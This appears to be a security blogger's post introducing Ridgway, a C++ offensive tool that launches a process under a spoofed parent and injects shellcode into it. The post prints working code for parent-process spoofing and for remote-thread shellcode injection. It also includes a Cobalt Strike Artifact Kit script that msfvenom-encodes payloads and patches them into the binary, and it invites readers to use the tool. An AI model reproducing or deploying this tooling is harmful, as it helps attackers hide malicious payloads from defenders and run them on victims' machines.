jmpesp.me

A quick intro to Ridgway, a crappy tool for injecting shellcode into a newly spawned process with a spoofed parent process. This tool was just a project to help focus learning C++ and using Windows APIs.

a year ago

Latest Post SharpCookieMonster by m0rv4i

I've been wanting to learn C++ and how to use Windows APIs for a while now. I know you can use PInvoke from C# but in some ways it's easier to just knuckle down and learn how to do it in C++. I needed something to focus the learning however so I set about writing a tool that could create arbitrary processes under a specific parent process, then inject shellcode into a new thread in that process.

The idea is that it can be used to create a process for shellcode that is more hidden than just creating a new instance of a process. It doesn't really provide any added value over just migrating into a new process, but hey, it's different and something to aim for :).

The is an exe that you can run like this:

Ridgway.exe <new process path> <parentProcessId>

Caution though this is still very much a WIP!

Spoofing the parent process

Most of the program is pretty straightforward, the first bit of interesting stuff takes place in ParentProcessManipulation.h. In StartProcessSuspended we get a handle on the parent process (acquiring debug privileges in the process if required) and then get the process attribute list for that process, requesting the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS specifically.

PPROC_THREAD_ATTRIBUTE_LIST GetParentAttributeList(HANDLE &parentProcessHandle)
{
	SIZE_T attributeListSize = 0;
	// Pass null to get the size of the attribute list
	InitializeProcThreadAttributeList(nullptr, 1, 0, &attributeListSize);

	// Allocate space for it
	PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeListSize);
	if (nullptr == parentAttributeList)
	{
		DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
		return nullptr;
	}
	// Create the attribute list
	if (!InitializeProcThreadAttributeList(parentAttributeList, 1, 0, &attributeListSize))
	{
		DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
		return nullptr;
	}
	// Update it with the parent process attribute using the parent process handle
	if (!UpdateProcThreadAttribute(parentAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), nullptr, nullptr))
	{
		DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
		return nullptr;
	}
	return parentAttributeList;
}

For fellow C++ noobs, the first call to InitializeProcThreadAttributeList is passed a nullptr as an attribute list and a reference to a new SIZE_T struct (attributeListSize). When no attribute list is passed to the function it instead populates the size struct with the amount of space that is required, so we can then use HeapAlloc to reserve that space and then call the function again passing the pointer to that space to the function. This is a common pattern in C++.

The attribute list in the STARTUPINFOEX structure for the new process is then set to this returned attribute list, and that is then passed to CreateProcess.

STARTUPINFOEX startupInfo = { sizeof(startupInfo) };

	// Get the attribute list from the parent process
	PPROC_THREAD_ATTRIBUTE_LIST parentAttributeList = GetParentAttributeList(parentProcessHandle);

	if (parentAttributeList == nullptr)
	{
		DisplayErrorMessage(TEXT("Error getting attributes from parent process"), GetLastError());
		return processInfo;
	}

	// Set the startup info attribute list to the one set from the 'parent'.
	startupInfo.lpAttributeList = parentAttributeList;

	// Create the process
	if (!CreateProcess(nullptr, processName, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, &startupInfo.StartupInfo, &processInfo))
	{
		DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
		return processInfo;
	}

This creates the process with the given parent ID, as can be seen in ProcessExplorer.exe:

notepad

Injecting the shellcode

The next interesting bit takes places in InjectShellcodeIntoNewThread in ShellcodeInjection.h. This bit is pretty vanilla in terms of shellcode injection, but we'll go over it anyway.

BOOL InjectShellcodeIntoNewThread(PROCESS_INFORMATION processInfo)
{

	const PVOID memoryAddress = VirtualAllocEx(processInfo.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (!memoryAddress)
	{
		DisplayErrorMessage(TEXT("Error calling VirtualAlloc"), GetLastError());
		return FALSE;
	}

	if (!WriteProcessMemory(processInfo.hProcess, memoryAddress, shellcode, sizeof(shellcode), nullptr))
	{
		DisplayErrorMessage(TEXT("Error writing process memory"), GetLastError());
		return FALSE;
	}

	if (!CreateRemoteThread(processInfo.hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)memoryAddress, nullptr, PAGE_EXECUTE_READWRITE, nullptr))
	{
		DisplayErrorMessage(TEXT("Error creating thread"), GetLastError());
		return FALSE;
	}
	return TRUE;
} 

We first make a call to VirtualAllocEx passing in the handle to our newly created process. This allocates some memory for our new process that'll we'll use for our new thread. As we will write to it next and then execute it it needs to be created with PAGE_EXECUTE_READWRITE permissions.

Next we write the hard-coded shellcode to the base of that memory with WriteProcessMemory and then create a new thread in our target process with CreateRemoteThread, setting the entry point of the thread to our newly created page.

After this we just resume the thread, and the shellcode executes!

Cobalt Strike

The last interesting bit of this project was adding Ridgway to Cobalt Strike using the Artifact Kit. There's an artifact.cna in the repository that can be loaded into Cobalt Strike so that when an executable is generated it will create a Ridgway executable with that shellcode.

set EXECUTABLE_ARTIFACT_GENERATOR {
	local('$handle $data $key $index $payload $resource $buffer $b $x');

	($resource, $payload) = @_;

	$temp = openf(">/tmp/ridgwayunencoded.bin");          
	writeb($temp, $payload);
	closef($temp);	

	$msf = exec("/opt/cobaltstrike-artifactkit/artifact/dist-ridgway/encode_payload.sh");
	wait($msf);
	closef($msf);
	$in = openf("/tmp/ridgwayencoded.bin");
	$encoded_payload = readb($in, -1);
	closef($in);
	# try again or use the default artifact... I don't have it!
	if (!-exists script_resource($resource)) {
		return $null;
	}

	# read in the executable template
	$handle = openf(script_resource($resource));
	$data = readb($handle, -1);
	closef($handle);

	# find the location of our data in the executable
	$index = indexOf($data, 'A' x 1536);

	# pack data into a buffer 
	$buffer = allocate(1536);

	# pack our encoded payload into the buffer
	for ($x = 0; $x < strlen($encoded_payload); $x++) {
		writeb($buffer, chr((byteAt($encoded_payload, $x))));
	}

	# retrieve the contents of the buffer.
	closef($buffer);
	$b = readb($buffer, -1);

	# return our encoded shellcode.
	return replaceAt($data, "$[1024]b", $index);
}

The way this works it is locates the buffer of A's in the binary and just patches it with the shellcode. The only difficult part was encoding the shellcode, as any null bytes would terminate the buffer. In the end I just passed this to msfvenom (via encode_payload.sh which is just an msfvenom one-liner, necessary to handle the file descriptors) and used it to encode it then patched the binary. It's super ugly so if you know of a better way please let me know on Twitter! It does work however, which is the main thing!

The result is on my but is still very much a WIP. Presently I've only tested the Debug x64 configuration with x64 bit shellcode, and I'm mid-implementing process hollowing as a secondary injection method, but have some more learning to do there...

Feel free to have a play and let me know of any issues or create a PR and contribute!

References

m0rv4i

Published a year ago